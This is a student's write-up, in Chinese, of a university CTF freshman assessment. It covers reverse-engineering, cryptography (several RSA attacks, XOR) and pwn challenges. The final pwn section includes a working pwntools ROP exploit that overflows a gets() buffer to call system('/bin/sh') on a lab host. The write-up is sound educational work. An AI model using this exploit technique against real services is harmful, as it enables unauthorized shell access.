云曦2024秋季学期新生考核（Reverse，Crypto，Pwn）

Reverse

1.蜡笔小新师兄的诱惑

下载附件后用IDA64打开即可

2.re，从0开始的ctf世界

下载附件后用ida64打开发现一串长得像flag的东西Gcvfq{1_@u_ji<s_#@_#@}，用随波逐流工具解码没解出来，去试试凯撒加密找到flag了

3.云曦欢迎你！

下载附件后用ida64打开，找到这几个主调函数F5查看伪C,根据代码可以看出来flag被储存在xmmword_413E34中

v5 = _mm_loadu_si128((const __m128i *)&xmmword_413E34);
  v7 = 0;
  v6 = 0x7D69786E75592Di64;
  v8 = 0;
  printf("欢迎来到YunXi!!!!");
  printf("这是一道很可爱很简单的逆向题呦\n");
  printf("输入flag吧:");
  scanf("%s", v9);
  v3 = strcmp(v5.m128i_i8, v9);
  if ( v3 )
    v3 = v3 < 0 ? -1 : 1;
  if ( v3 )
    printf(aFlag_0);
  else
    printf(aFlagGet);
  system("pause");
  return 0;
}

双击打开这两串16进制的数据很可疑可以看出第一段数据解密后确实是yunxi的镜像，将两段拼接起来取镜像

 `s="}ixnuY-0t-em0c1eW{ixnuY"#输入需要镜像的字符
reseved_s=s[::-1]
print(reseved_s)`

求得flag Yunxi{We1c0me-t0-Yunxi}
PS：这道题有个懒办法，将得到的flag丢到随波逐流里，可以直接得到flag
方法三：调试
根据提示，使用onlydbg调试插件
首先根据中文索引，找到提示语句所在位置在判断语句处加断点，使其不跳转，接着按F9运行，就可以在FPU（寄存器）处看到flag了

4.我心如铁，坚不可摧！！！！

下载后用exe查壳，发现有壳，是用UPX加壳的题目提示用PEID查看，但是查看后提示不是有效的PE文件，因为附件是一个64位的exe文件，PEID只能搞32位的文件，就用kali执行脱壳命令

upx -d 文件名

再用exe查看确实没壳了，再用ida64打开再F5查看伪C，方便读取flag再镜像一下

s="}rever0F_EVoL_epoH{ixnuY"#输入需要镜像的字符
reseved_s=s[::-1]
print(reseved_s)

得到flag

5.绕

下载后得到附件用exe查壳，发现没有壳
用ida64打开，根据提示是一个迷宫问题去找伪C中的信息，这里在main函数中可以看到，调用了argv，这是一个指向命令行参数的指针数组，和envp 这是一个指向环境变量的指针数组。
在主调函数中得知这里输出的flag是一个24字符的字符串这里可以去问了下AI

char *v3;：声明一个字符指针 v3。
char *a1;：声明一个字符指针 a1，这里假设 a1 指向一个输入的字符串。
int result;：声明一个整型变量 result，用于存储结果。
v3 = asc_427A3E;：将 v3 指针初始化为 asc_427A3E 的地址。
a1 = “example string”;：将 a1 指针初始化为一个示例字符串，实际使用时可能来自其他来源。
for (;😉：创建一个无限循环。
if (!*a1 || v3 == 42)：检查 a1 是否到达字符串末尾或 v3 是否指向 ''。
v2 = (char)*a1++;：将 a1 所指字符存储在 v2 中并移动 a1 指针。
switch (v2)：根据 v2 的值对 v3 指针进行不同的操作。
case ‘a’: 指针 v3 减 1。
case ‘d’: 指针 v3 加 1。
case ‘s’: 指针 v3 加 13。
case ‘w’: 指针 v3 减 13。
default: 标记 result 为 0。

证明确实是迷宫问题，像游戏里的wasd控制前后左右
找到这一串*号应该就是迷宫
迷宫的规则就在主调函数里

 if ( strlen(Str) == 24 && sub_40100A(Str) )
  {
    puts("gogogo! Now you can submit the flag and get the score!");
    printf("flag{%s}\n", Str);
  }
  else
  {
    puts("error!");
  }
  return 0;
}

说明当满足字符串位24位长，就将sub_40100A中的字符传参输出，这可能就是flag
重新理下思路，顺着sub_40100A这个内存地址去找

// attributes: thunk
bool __cdecl sub_40100A(_BYTE *a1)
{
  return sub_401020(a1);
}

找到了这一串，因为我不是很懂代码，就去问了一下AI

代码解释：
首先，我们包含了 stdbool.h 头文件，以便使用 bool 类型。
定义了 sub_40100A 函数，它接收一个 _BYTE 类型的指针 a1，并调用 sub_401020 函数，将 a1 作为参数传递，最终返回 sub_401020 函数的结果。
sub_401020 函数的实现：
if (*a1 == 0)：通过解引用指针 a1（即 *a1），检查 a1 所指向的字节的值是否为 0。
如果值为 0，返回 false，否则返回 true。
在 main 函数中：
定义了一个 _BYTE 类型的数组 byteArray，并进行了初始化。
调用 sub_40100A 函数，并将 byteArray 作为参数传递给它。
根据 sub_40100A 的返回结果输出相应的信息。

再向下挖掘

bool __cdecl sub_401020(_BYTE *a1)
{
  bool result; // al
  int v2; // [esp+50h] [ebp-8h]
  char *v3; // [esp+54h] [ebp-4h]

  v3 = asc_427A3E;
  while ( 2 )
  {
    if ( !*a1 || *v3 == 42 )
      return *v3 == 35;
    v2 = (char)*a1++;
    switch ( v2 )
    {
      case 'a':
        --v3;
        continue;
      case 'd':
        ++v3;
        continue;
      case 's':
        v3 += 13;
        continue;
      case 'w':
        v3 -= 13;
        continue;
      default:
        result = 0;
        break;
    }
    break;
  }
  return result;
}

这里定义了像wasd的操作

char *v3; // [esp+54h] [ebp-4h]

  v3 = asc_427A3E;

这段代码说明了迷宫在asc_427A3E中

在 main 函数中： char *v3; 声明了一个字符指针 v3。 v3 = asc_427A3E; 将 v3 指针指向
asc_427A3E 所代表的字符串的起始位置。 printf(“%s\n”, v3);：使用 printf 函数输出 v3
所指向的字符串，%s 格式化说明符用于打印字符串，从 v3 所指向的位置开始，直到遇到 \0 终止符。

这就是迷宫，根据师兄的提示用shift+e提取出数据，转为10进制将得到的文档中的42换成*，45换成_,35换成#，64换为@，得到了迷宫，但此时迷宫的边界并不确定，回到前面的主调函数去找找

 if ( !*a1 || *v3 == '42' )
      return *v3 == '35';
    v2 = (char)*a1++;
    switch ( v2 )
    {
      case 'a':
        --v3;
        continue;
      case 'd':
        ++v3;
        continue;
      case 's':
        v3 += 13;
        continue;
      case 'w':
        v3 -= 13;
        continue;
      default:
        result = 0;
        break;
    }
    break;
  }
  return result;
}

从这里看得出来碰到#输出true，说明这是迷宫的终点，根据a是向后移动1位，d向前移动1位，而w则是向后移动13位可以换行推断出迷宫的列数位13，就确定出了迷宫的边界。（*的ASCII码为42，#为35）接下来就可以走迷宫了。因为我不会用脚本自动改行列，就手搓了一下这里师兄提示可以用dfs算法写脚本跑，但是我不会写这个脚本，就手搓了这里看出有很多走法，但是只有红色这条符合24步走完，所以flag为sssssdsssddsdddwwdwwaaaw，根据题目要求用MD5加密提交即可

6.是兄弟就来逆我

这道题下载附件下来是python，在python中逆推flag，这是题目

= '************************************'

zero = '0'
two = 'zero'
zzc = 'py'
rjz = '1229'#
dyl = '1212'
wlgf = '604'
cyber = 'cyber'
police = '110'

def zerotwo(text):
    text = text.replace('e', zero)
    text = text.replace('t', two)
    text = text.replace('{', dyl)
    text = text.replace('s', rjz)
    text = text.replace('Yun', wlgf)
    text = text.replace('xi', cyber)
    text = text.replace('-', police)

    text = ''.join（list(reversed([char if char != '1' else '9' for char in text]))）

    return text

s = zerotwo(FLAG)

print(s)
#s=}nohorezyp=horeziw0993r099y9229a0099ylla3r0999229i=9229ihorez2929rebyc406

方法一：手搓
首先可以根据reversed函数可以看出下面输出的字符串是镜像的，先将它镜像一下

s="}nohorezyp=horeziw0993r099y9229a0099ylla3r0999229i=9229ihorez2929rebyc406"#输入需要镜像的字符
reseved_s=s[::-1]
print(reseved_s)

得到字符串604cyber9292zerohi9229=i9229990r3ally9900a9229y990r3990wizeroh=pyzerohon}，接着用记事本的替换功能，照着上面给的代码条件替换（建议倒着换，成功几率高一些）但这个题并不推荐这样做，因为1跟9的替换很容易会换错，我是试错了3次方法二：改代码

FLAG='}nohorezyp=horeziw0993r099y9229a0099ylla3r0999229i=9229ihorez2929rebyc406'
def jiemi(text):
    text=''.join(reversed(FLAG))
    text=text.replace('9','1')
    text=text.replace('1212','{')
    text=text.replace('110','-')
    text=text.replace('1229','s')
    text=text.replace('604','Yun')
    text=text.replace('cyber','xi')
    text=text.replace('zero','t')
    text=text.replace('0','e')
    text=text.replace('1221','s')
    return text
print(jiemi(FLAG))

注意这里有个小细节1229换rjz再换s，所以解密的时候要把rjz改为1229

7.address in the IDA 国家队

拿到附件后查壳，发现是upx壳用kali脱壳前面查到了是64位文件，用ida64打开，去找主调函数从主调函数里面可以看出这个题的flag被异或和base64加密过了，那么找到密文和秘钥就很关键

 base64_encode((__int64)Str, (__int64)Str1, v6);
  if ( !strcmp(Str1, "ZAUvh21+QmXoRWjpgpk8BG1oCAz5MVT6NFwq") )
    puts("鹤望兰永不凋零 比翼鸟永世长存");
  else
    puts(asc_404188);
  return 0;
}

这里可以看出要比较str1和那一串，如果一样就输出那串字符和flag。进入加密部分查看
根据这一部分查看可以得知采用了base64的码表进行了加密找到码表了
整理思路：
给定的字符串先进行了异或操作，接着用给的码表进行base64加密，那么我们的解题步骤就是先base64解密，再异或操作。
1.base64解密

2.异或操作

data = ["Ytl{m~65%98&vh|`=ee|9%$:(+g"]#原始数据
result = []#存储转换后的结果
for i in range(len(data[0])):
    char_value = ord(data[0][i])#进行异或操作
    transformed_value = char_value^i #将结果转换为字符并且转入结果中
    result.append(chr(transformed_value))#将ASCII码转字符
print(result)

接着手搓一下即可

Crypto

1.考考你

这题是变异凯撒，根据观察和搜索，变异凯撒是根据ASCII码表的对应关系来改变的，看形式，猜测是Yunxi开头，就可以推测出是n+1的递归类型
对照ASCII码表来一一对应即可
即可得到flag：Yunxi{lovecode}

2.haha是关键

根据提示先是一层Vernam Cipher（维吉尼亚加密），而题目又说haha是关键，那么可以猜测haha就是秘钥之后没找到思路，查看wp才知道是uu加密，而且是两层uu加密

3.Do you know RSA?

根据题意就是rsa加密，就用脚本解决

from Crypto.Util.number import long_to_bytes#将数字转换为字节串
from sympy import mod_inverse#判断是否为素数，求模逆元
e='65537' #公钥
c='10246762087721115217485508413257482901106323284556373453736422647383062322423313410649254881681389926896780264436614095071519773606078151999835550447905015554203499700656532773559048675209060352458290913433813984645749581593650967010408190809418427719506784546143166958110731385838690668663974207957751000519117572361923009845304522137725471700270324468803800620203778278166925499589968539127496796276521866733516666538789216451611383852650076276558334755995984024382051967742482348456198232686393245089461442496311415992211496623141262622364515573989930552274281572143435367099739913270780250323073655820242481745252' #密文
p='116888242048326441849353260793803992210720588385989966071518654025228676347231385389570025175086869366751747267686959951166850650174521379136327308553768534359271338842626462856925992879516992876778750684253397958082124407124240227532947482926915793084188391782959330945512830581003406233046800591446207835339' #素数
q='94690882883934621576886180581554769093580134625133637575230642902736399891950256078684245422077164890184779333416858687362456464689824660665708926549328329889281815334440938922821353523914677265623685970269493228751310502610999452294486456315087125447087407930176010535456535594359713704241411152272930846069' #素数
#将字符串转换为数字
p=int(p)
q=int(q)
c=int(c)
n=p*q #模数
phi=(p-1)*(q-1)#欧拉函数
d=mod_inverse(int(e),phi)#求模逆元
m=pow(c,d,n)#解密
print(long_to_bytes(m))#将数字转换为字节串

4.简单的RSA

这个题给了多组的n和c，根据查询，可以知道是找公因数的做法

from Crypto.Util.number import long_to_bytes#将数字转换为字节串
import gmpy2#求模逆元
#赋值
n1=gmpy2.mpz('17403521630940720947558583366350772068954889682268188459976133847163773052016797016939716894413844214320851635995605793486910945921656215952968405705769138165707011831963185992484560203536907258646308741594422373976469789909380088421454484840534626180029758653158146145006743514354116657837715499114377280118263482249732903160057496529025976896779485411539068598254751494068699009435815003990260918527605887520668558096161605067829150425771173670167972163110639936513496170579496562724738390321141015874752091515867122487731138655346535145025993847711717223309715251335490915978617733181138842144707043312216476857903')#将n转换为mpz类型''
n2=gmpy2.mpz('12304337405892176557111926450215031742840029329198615114311730101199021717109839703476502044046553026453057570827144215213962215736529109346563958287666761045425496518341260150698127770622086368659695472768366439696052189618540775658478939008239775086750663479496981803001262949877121164127400624952423786835608371500378560545389988839245794431637945177670542372985736592693287819313709638467849277810608838489686699410770465866612256850205947616857394358356864194197028044127261762099201339593347431355967932161338763338142725229389726155757308102120355293235892385158280469107173520405716226715603976706719056544777')#将n转换为mpz类型''
c1=gmpy2.mpz('8763645466674616929462494434571425351555509690644895336586761013787656826031956699897554180790714738834649118609957000183499419736126164995495696018470486122655048764556615339917681332052044988734489501078815149488579835533629471884161837056451019996062766687164335292000357703827266235438500645247076149724455908787335571446090573291540568179936764255050598346598308283930140405466296568058857132003701442905998161966492183565185361928097158435581012262077417496934940226607842954035643848629303683157161398496946819799480973947502510133004818246197710596728895804782147471606669871122896227564070436265892614776921')#将c转换为mpz类型''
c2=gmpy2.mpz('12203657249223771641180630454804225049996481513274535552350109911139557703063162184661424763984441317297973744693618621965252150874304629584774111048816704583117403679203314107950639449555687344621025227631789938789179828715761724061311980237011765006444439325384030012437646293250301420215929549173387420719263440115021806335164763155172380249483245116009497851469686877587842360517747440611845477196725324394847514397093625578786249099031137187993933946900502872925802607328876029483864194255385145567271904970289590452535818762950900035766373476657013117067738897752286328824125197713762957877114821244382127296878')#将c转换为mpz类型''
e=gmpy2.mpz('65537')

n=[]#模数
c=[]#密文
p=[]#素数

#将n和c转换为数字
n.append(n1)
n.append(n2)
c.append(c1)
c.append(c2)

data=list(zip(n,c))#将n和c打包成元组
for i in range(len(n)):#求模逆元
    for j in range(i+1,len(n)):#求模逆元
        if gmpy2.gcd(n[i],n[j])==1:#判断是否为素数
            print(i,j)#输出素数的下标
            print(gmpy2.gcd(n[i],n[j]))#输出素数的最大公约数
# 计算p和q
p=gmpy2.gcd(n1,n2) 
q=n1//p
# 计算d
d=gmpy2.invert(e,(p-1)*(q-1))#求模逆元           
print(d)#输出模逆元
# 计算明文
m=pow(c1,d,n1)#求明文
print(long_to_bytes(m))#输出明文

5.babyRSA

根据搜索，这道题的解法是低加密指数攻击（e很小），原理是公式c=m^e+kn,脚本如下

import gmpy2
from Crypto.Util.number import *
 
def de(c, e, n):#定义这个函数
    k = 0
    while True:
        m = c + n*k# 使用 gmpy2.iroot 函数计算 m 的 e 次方根
        result, flag = gmpy2.iroot(m, e)
        if True == flag:
            return result
        k += 1
e= 3
n=12179577292159201980209631055496948102805120763418474466936520932304371979520139806025602222124053914511816288527603040402360070391278550405169804880161873839434208078894439913459004224454704760622617871373616234053749095252608617778430379641573072111810029985636947578653098562253008291154803698055135515034765818681677950372055408758254373569716492570273962727440020939894647913409333889845559543682629800185046461336355078780391997551992379373834093669760432655453231383589199629072125828536561731140937426042424354665558243756127815699181270083009772850320337477918541227301365099104143237535599765525672653801831 
c=24787004176081997995351052355008396603022515595812291086248661047699976898511806221533556787623849858207553998225780175104729080805882870626684198891200274181976238742233392202382454514941157259169863059433228683199443436020924558548245843373130422540390547675300859024242321569125
 
 
m=de(c,e,n)
print(m)
print(long_to_bytes(m))

6.haha的rsa

这属于低指数加密广播攻击（e很小;多组n,c）题型,原理是中国剩余定理（参考https://oi-wiki.org/math/number-theory/crt/）
代码如下

import gmpy2
from Crypto.Util.number import long_to_bytes
from sympy.ntheory.modular import crt
 
n1 = int('19838995731263023520234251077660165586757513827976065559606919623895003295467900236882491293213345859477186861948723857182574752102250689716730995801967723271252343711719479691129447809951363401417038024912418462877899745696670143880574200661574862750672358843441298366423330886090120156550757400073389772750235050813059840566862772202888531174358646861670198444259323643370977632188935370419348258125100021061652022045104032477266255654913071238089680611095310194891427899558764172709202452423455613229665886301824828550352360226203047784219067979050127084226144715609923905907448263255140299803965081558799173339401')
c1 = int('9872699008271553739716574064788486458370006576430878940309120674924890967298877736971813017598249504794542434131905971670100065835672578982572532357196372112403712992747941264215545359090491626781615693061784314280118970524388886297837995660644599342669396170336111747104595388865250354900069722287639484744701525655007192196417893763390516116536550948581777783291530105595773996226057026575907476791966675433217029125620180031829674901798337058431211987072183552001475209847341416488562938158170426895595731036946825733288663522092035641740676379827743885307027394055329911668428391544017541490370733144111521609532')
 
n2 = int('12018538342390417912126071928569121931216244081818651372352658444452762635272052150118357403727381612935221164596199646621273045192128595518954818213877137558021530085604917051258906980616454498105425647736746949437257280502086187295543903946161887685777476169841573190393067592541421043011396014775959059702294059965204755202333793653145678792215620511842223294569739948005612543782980973523597522467393885625886668833397495787230820073996781656512363593757154815483857353984097385554131765808496384179609959943021901812038242507446329109454200288366477788895237402866270293576425732892360948746354639066470783645717')
c2 = int('8411547340687769174948735283496259585749404380599737025115911362147461082788980569607436670035173618200205119486068838006831526566276456972895204857662157382448070043885103970674118075430596619985292191545285034610874802756134713177272768031055336997685660839413817630937760239545489531528857024468218619679319525222027916949609312264212776957178117823402345824541874309211375152979292139745809674445536532069715686977971474445201858429981061543142982636570331736973383872584367350976611511647165391729043947628577137182968788210818848504735830830041930426518145072836971734086109851888762054258162707801530411142602')
 
n3 = int('16039765828156067283838474165562890892921606851076577612991362982924047492480424217566156841726400558344864422131977832571235493383017180551666720485763083862256233435435660095940535809312185745276944324259722491081425458385576275568302304807227260112647826204072747847551844706630664267308804048439784988627194424557329768691906973579984863808125646890249543777954964467149197757815909609932448507426492510552380390438219391444894762300587374911500031890366809840138672217587217257030235397874041686808536680091916811730928754364110148462348673949257897975795677273048763907815443554141655471911045880619882300489537')
c3 = int('14293504408201979561010329235529672326289140124130223706731796741697808343026440589432580776831003785332079624996689035596640446552027941749732531163096583435239492514538462984639781837395346088565397520096936835148335016249801833322894140364740074990733225393792692245928751736168040433315708915520222941748795190327318476438059641624323276573155639056835683225015741236796807432476268667278693244276340758831507138423811480369749871188898761036346877544098814764695855158617671141049524085312661198529720255271287643971150543967059757660668608134142100631100190552855318948669808548897420482606072811592066588779774')

n4 = int('17762391416959071213907929292504564859770472958459412488550679582750359391035279093411765980845707036612891990284163587160285432894135039614436536978888163187494744139566764719316380526776416411993390710934678106397141709441125591730388428636313198266396520516804958432569751747537361143268604407623465176309255462040686002416762148174047898617566669157392847443238404420125523609915212799686722332195959960703492445838058786443228348691702557868793388129079830751587150305377243665744880717216570419193433629046376461117697344620725771862934327326490026426839046479335867562767353470676475547828375565383386293426111')
c4 = int('5190758855412708699462174108008824417998012568896202293657293943869074669486248004361531041652350187024205360838659650151172827363527854627064039545483960111624698129321981844549756899671933104804520568707672161507949468286376313723449301050664045758341937287481970393498116636479443080549076293540527009905804331284829594525660549299391913327168654314452678389835945587677930034667515463658222462849866723630146127728191212393852089255514575602699055358370948703296194931964197964277938204107865115672832070986405118095422957475017422681469992542554285142170104567603975994684412265218182288086771157424815997065765')

n5 = int('12383001225773561805861295886702777957447560131851817045054644557819923361738259031320514641332929704740993035252002723949935357050737691840374625064654055823938511605156185506332686468610393662285456082363064465377303356909206177657511819144790115360516152729782109832543461022704543812748721490593608337741621102311719581262439040338249685815959611597820576062833086283169263395436582703172585678410015199059409427226667221493038164003770426939696041916705235877416917231561135437779870249621551401041875983479855645861529229958905087070515959066048537669341629289375757910064390201694687492993494610422631973733857')
c5 = int('5102009916089650816524363692447196306812548114720682506956856870468744845844017782719928797266756444361533169455529255865788673792347420380216572076294637462156700453660527619326070031797773162060168314937500910169009867128887811436411151778349248908307624927664314199276703388242330047469953492061032080808054797064255692720003539453398376386220299647054892955486702041074734910458541506007849872507194754159030831240457212712613261411206293091761691635950336751823184997612638321726645016675315692705502557999564746914755223187938245223744701073690560344122139941797417638855246144758684435524759168175343562299703')

n6 = int('13045154050675669021324620074019204039337276460927311136976839007862093011453847514249732039975811670320360761026903873064801354619328954169951195457741063524798991376910880375440634043075219116753455231572012252918193449552393348698848725097652325463042867131634214978471377014125191591534580271552266043247419416259318410411146586413696296050734291872691557067456934860968617740222444687881415317055956754592948834945394901784173441023431138728266032959341996192508942513349547930541883893085504331641312922181344502880381627868459576524424922442298503467285607869425726972897905539386530104849230973842687894007203')
c6 = int('5753484887080017504073149159616221583701689256995618529076265869329996383530044971665458479962047438389828435513100578712159597071450650847453941627006945867603651188948765745079511373972196068735149577862950563386348197039504754607978366789600231026392660001266312268766216773317934541447697580621333708416894163255059623672351871463873340365591051143545856228881133622198815584892674186472747648758260392055191241834542974782706917916613875528011168321794899964716799069468387334926384890360687977998218171156081493497463606138445452564547321559445881903652190390060861383538082801820664271728877583913532588614362')

n7 = int('13164321395431735044984956412140469196161746365382549468807944185229044387297354171845954348775827533834627444288250241363386257897416796573128308385659681700779647354480663514495429780762276363347508254612555633612955978343542174559451338919861299232336094285858146505378934932176527806334027488510989951168627303550846755652184670414323080398008562263241215435663845217878546131662610916509053427363963109444373525081962974083121639865588180206165827442603371970318397182064428668292877275224119701466660869448689154913116605332850565830431659998625942845947782415871925343090289147523827330924463340855572397745361')
c7 = int('7861858462615052142020027671424182826546264390135467303709190450386131323147663769608712896833317778850214281651790819312447893865999175783138897728300320933377201855330002939495172290174665623569098562978702391995750071818901663053220232665267713523630542586596884033583508888845011647420962164967769178445442343382046753873268569062260014794517671328212099841286151028472002309656936230312775292346581793107226408289704785704539156482524787556460250380522043957093548212985882663938324800416924479266305715581307054100209557856671745796510444168410259525882414078778236777040170844913614097344279998705822772583547')

e = 23
n = [n1,n2,n3,n4,n5,n6,n7]
c = [c1,c2,c3,c4,c5,c6,c7]
resultant, mod = crt(n, c)
value, is_perfect = gmpy2.iroot(resultant, e)
print(long_to_bytes(value))

代码可能有冗余的地方，欢迎指正

7.Do you know XOR?

根据题目可以看出就是异或算法，脚本如下

import codecs
KEY1 = bytes.fromhex('a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313')
KEY2_xor_KEY1 = bytes.fromhex('37dcb292030faa90d07eec17e3b1c6d8daf94c35d4c9191a5e1e')

# 计算 KEY2
KEY2 = bytes([a ^ b for a, b in zip(KEY1, KEY2_xor_KEY1)])
print("KEY2:", KEY2.hex())
result1 = KEY2.hex()
KEY2 = bytes.fromhex(result1)
KEY2_xor_KEY3 = bytes.fromhex('c1545756687e7573db23aa1c3452a098b71a7fbf0fddddde5fc1')

# 计算 KEY3
KEY3 = bytes([a ^ b for a, b in zip(KEY2, KEY2_xor_KEY3)])
print("KEY3:", KEY3.hex())
result2=KEY3.hex()

KEY1 = bytes.fromhex('a6c8b6733c9b22de7bc0253266a3867df55acde8635e19c73313')
KEY2 = bytes.fromhex(result1)
KEY3 = bytes.fromhex(result2)
FLAG_xor_KEY1_xor_KEY3_xor_KEY2 = bytes.fromhex('9f3b9fa14fb7320ee78fadc6d9c7dde5')

# 计算 FLAG
FLAG = bytes([a ^ b ^ c ^ d for a, b, c, d in zip(KEY1, KEY2, KEY3, FLAG_xor_KEY1_xor_KEY3_xor_KEY2)])
print("FLAG",FLAG.hex())

最后解出的hex值就是flag

8.有趣的符号

打开后是Ook加密
直接转文本是不行的，要转为脑操加密，再解密一次就行了

Pwn

1.nc签到

打开网页即可得到flag

2.真正的签到题

拿到附件后查壳，发现无壳用ida64打开，找主调函数，查看伪c再查看shell

关键在最后

if ( !strcmp(s, "ls") )
      system("ls");
    else
      puts("缁欎綘鐨勯檮浠舵槸骞蹭粈涔堢殑?");
    if ( !strcmp(s, "69470") )
      give_flag();

提示输入69470就执行给flag这个命令

3.ez_pwn

这道题先查壳，发现没壳，用ida64查看，找到func目标函数

char yunxi[10]

这是一个字符数组，用于存储用户输入的字符串。数组大小为 10，意味着它可以存储最多 9 个字符

gets(yunxi)

gets 函数从标准输入读取一行字符串，并将其存储在 yunxi 数组中。然而，gets 函数不会检查输入的长度，因此如果用户输入的字符串长度超过了 yunxi 数组的大小，就会导致缓冲区溢出。
这里看出存在栈溢出
按F12+shift查看，发现需要构造的system函数（/bin/sh），但是没有函数调用目标命令（/bin/sh），/bin/sh这个函数存储只读数据
根据查阅，64位处理中想要传参必须要使用寄存器，查看寄存器

ROPgadget --binary 文件名 --only "pop|ret"

其中的0x0000000000400673 : pop rdi ; ret就是寄存器位置
接下来就是写exp，先确定system和binsh的位置
1.system位置0x400480
2.binsh位置0x400694
exp如下

from pwn import *

#io = process('./1')
io = remote ('172.16.17.201',50133)

padding = 0x10 + 8

binsh_addr = 0x400694
system_addr = 0x400480

rdi_ret = 0x0000000000400673
Payload = b'a'*padding + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr)#构造payload，首先填充一定数量的'a'字符，然后是RDI寄存器的返回地址，接着是/bin/sh的地址，最后是system函数的地址

io.sendline(Payload)
io.interactive()

在kali中运行后会生成一个_pyache_文件夹，打开后是二进制pyc文件，再放进kali里运行就得到了shell